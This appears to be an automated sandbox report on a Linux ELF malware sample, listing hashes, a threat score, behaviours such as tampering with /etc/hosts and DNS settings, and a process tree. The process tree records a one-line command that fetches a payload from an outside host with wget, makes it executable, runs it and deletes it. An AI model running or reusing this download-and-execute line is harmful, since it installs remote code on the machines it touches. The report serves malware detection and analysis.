Analysis
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max time kernel
0s -
max time network
103s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
03-09-2022 16:51
Behavioral task
behavioral1
Sample
e4921180eafa91a234b1034c772ba887.elf
Resource
ubuntu1804-amd64-en-20211208
ubuntu-18.04-amd64
2 signatures
150 seconds
General
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Target
e4921180eafa91a234b1034c772ba887.elf
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Size
46KB
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MD5
e4921180eafa91a234b1034c772ba887
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SHA1
8c66fd601cac2611b22bd69a7862b25e8b9a2e36
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SHA256
b7d0d17ea7871db4d8faf0ddddf30ce24ca142574b48362f7f82ca349ec9e2f4
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SHA512
3004c1632e15d54a72dc4665351699ae65494abf15f000982d3dcedff77ffcf755b6dd18316694ad8d688166d120051f0a59c9f2e8965eaab8c880bf54ca8327
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SSDEEP
768:eRxm/aDxX7Wq3X5RJrdNW3Jq/BgxSh//Id8Np/JIB+Mq0uwcS:0US9X7PnDA3JquK//IWp/JBDScS
Score
8/10
Malware Config
Signatures
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Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
description ioc Process /etc/hosts /etc/hosts wget -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process /etc/resolv.conf /etc/resolv.conf wget
Processes
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/tmp/e4921180eafa91a234b1034c772ba887.elf/tmp/e4921180eafa91a234b1034c772ba887.elf1⤵PID:592
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/bin/sh/bin/sh -c "wget -q http://gay.energy/.../cipher -O .....;chmod 777 .....;./.....;rm -rf ..... "1⤵PID:595
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/usr/bin/wgetwget -q http://gay.energy/.../cipher -O .....2⤵
- Modifies hosts file
- Writes DNS configuration
PID:596
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/bin/chmodchmod 777 .....2⤵PID:597
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./....../.....2⤵PID:598
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/bin/sh/bin/sh ./.....2⤵PID:598
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/bin/rmrm -rf .....2⤵PID:600
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